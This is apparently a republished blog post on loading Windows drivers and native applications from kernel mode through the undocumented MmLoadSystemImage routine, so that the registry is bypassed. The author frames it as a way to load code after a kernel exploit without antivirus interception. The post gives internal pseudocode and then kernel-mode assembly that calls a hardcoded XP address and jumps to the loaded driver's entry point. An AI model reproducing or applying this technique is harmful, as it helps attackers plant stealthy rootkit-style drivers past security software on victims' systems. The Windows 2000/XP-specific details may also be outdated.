Loading drivers and Native applications from kernel mode, without touching registry

Loading drivers and Native applications from kernel mode, without touching registry
"How to load driver without touching registry from kernel mode", this is asked almost always.Today,
I will give you an insight into how Windows loads its driver and then will document a new method to load a driver without touching registry.

 

This is required because even if you exploit kernel vulnerabilities, you still cannot load any driver because almost all existing Antivirus solutions hijack the NTOSkrnl API's ( which let you write to specific registry locations, load drivers etc).


The first method to load driver is given below:


Windows NT loads drivers using the following function ZwLoadDriver.


Its declaration is as follows:


NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);


DriverServiceName: Pointer to a counted Unicode string that
specifies a path to the driver's registry key,
RegistryMachineSystemCurrentControlSetServicesDriverName, where
DriverName is the name of the driver


The Second Method is given below:


After Windows 2000 start's up, It starts loading the special driver
win2k.sys.It doesn't load in the traditional way (as all other drivers
are loaded) by calling the following procedures ZwLoadDriver,
NtLoadDriver etc.


It actually loads by the following kernel API ZwSetSystemInformation.


This API is used to set system information such as page file, loads the above driver, file cache( information working set) etc.


It is actually implemented as follows:


ZwSetSystemInformation(

IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

//specifies operation to do

IN PVOID SystemInformation, //specifies operation data

IN ULONG SystemInformationLength ) //specifies data length


it's internally implemented as follows:


Switch (SystemInformationClass)

Case 0:


Case 1:

.

.

.

Case 5: ;this actually extends the system service descriptor table

.

.

.

MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);


call entrypoint(driverobject,NULL) ;


break ;

case 6:

.

.

.

.

.


These 2 are the only known method of loading drivers.


Here is the third method. (No antivirus solution currently hijacks it so it is safe).


As seen above ZwSetSysteminformation loadimage function to load driver into memory and then calls its entry point.


Now we will briefly analyze the parameters and functionality of MmLoadSystemImage


MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,

ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);


ImagePath is a fully qualified NT style pathname

prefix is added to pathname when loading driver


basename is the name system shows after module has been loaded


unknown is unknown


*imagehandle is the handle to section(it's already referenced, so you will have dereference it at unload)


*baseaddress is the address at which image has been loaded in kernel memory


This function actually loads the image in memory, resolves imports,loads dependencies, etc.


In Windbg,u can find the address of above function using "d MmLoadSystemImage" (of course ,symbols are required)


NOTE:- MmLoadSystemimage internally calls and checks the image after
loading it into memory so make sure the checksum for the image is
fine.This functionality is done by the MiCheckSystemImage.The import
resolving job and dependency loading is done by
MiResolveImageReferences API.


Thee MmloadSystemimage works as follows: (PseudoCode)


1) traverse existing module list to check whether it has been alredy loaded

2) if it exists return error (image already loaded STATUS_IMAGE_ALREADY_LOADED) and return from call


3) try to open file using Zwopenfile,if file cannot be opened,just return with error code

4) compute image checksum and match it with checksum stored in header

5) if checksum doesn't matches. return with error code

6) create a section with zwcreatesection and then reference it

7) map it into kernel space using mMapViewInSystemSpace

 if necessary apply relocations to image using function LdrRelocateImage

9) resolve refrences iusing MiResolveImageReferences

10) then create an entry in psmoduleloadedlist for the module

11) make it writeprotect

12) then close file handle

13) return from call


So, now we have a function which loads image in memory, but what
about calling Driver Entry (entry point of driver). This information
can be obtained from the PE headers itself after the image successfully
loads in memory. This method has been and can used to load and execute
drivers, native applications etc directly from kernel mode


Here is the assembly code (kernel mode assembly code). it has been
tested on Windows XP SP0 English Version.After minor modifation code
runs on win2k,xp,2k3 etc


__asm {


;below code loads the driver in memory

loaddriver:

mov dword [Stack],esp //save stack


;paramters as always are passed in reverse

push DWORD Driverbase ;it stores driver base

push DWORD ImageHandle ;it stores section handle

push dword 0

push dword 0

push dword 0

push DWORD U_STRINGloc ;it points to unicode string containing driver to load


mov edi, 0x805c03ae ;MmLoadSystemImage address function on Win XP SP0 English version,(OS and SP dependent data)

call edi

cmp eax,0 ;check whether driver loaded successfully in memory

jne drivernotloaded ; if loading failed, exit without calling entrypoint


;since driver has loaded successfully call its init function both parameters are passed 0

mov DWORD edi, [Driverbase]

mov DWORD ebx ,[edi + 0x3c] ;to get offset of optional header

mov dword ebx,[edi + ebx + 0x18 + 0x10] ; to get entry point ofset from base of code

add edi ,ebx ; add base + entry point to get entry point in memory

push 0 ;

push 0

call edi ;call entry point (Driver Entry in case of Drivers)


drivernotloaded:

mov dword esp,[ Stack] ; correct stack so as execution continues


ret


; Here data and/or variables are stored


; This is the driver to load including path name


;DosDevices@:hooka.sys length 48

db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00

db
0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00


;it's used to store driver base address

Driverbase:

dd 0

;it's used to store section handle

ImageHandle:

dd 0;


;it is used to store Stack location

Stack:

dd 0


;structure used for unicode strings in memory

struc U_STRING

Length: resw 1

MaximumLength: resw 1

Buffer: resd 1

endstruc


}


//asm code ends here


NOTE: - These API's or functions are not exported by NTOSKRNL, but
these exist for internal usage.These functions are not hooked by any
anti-virus solutions, so these can be used to load drivers and native
application and then run them.


That's all about loading a driver from kernel mode without touching registry.

Also,the code does some error checking,so as no hard error occurs.


Have fun!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值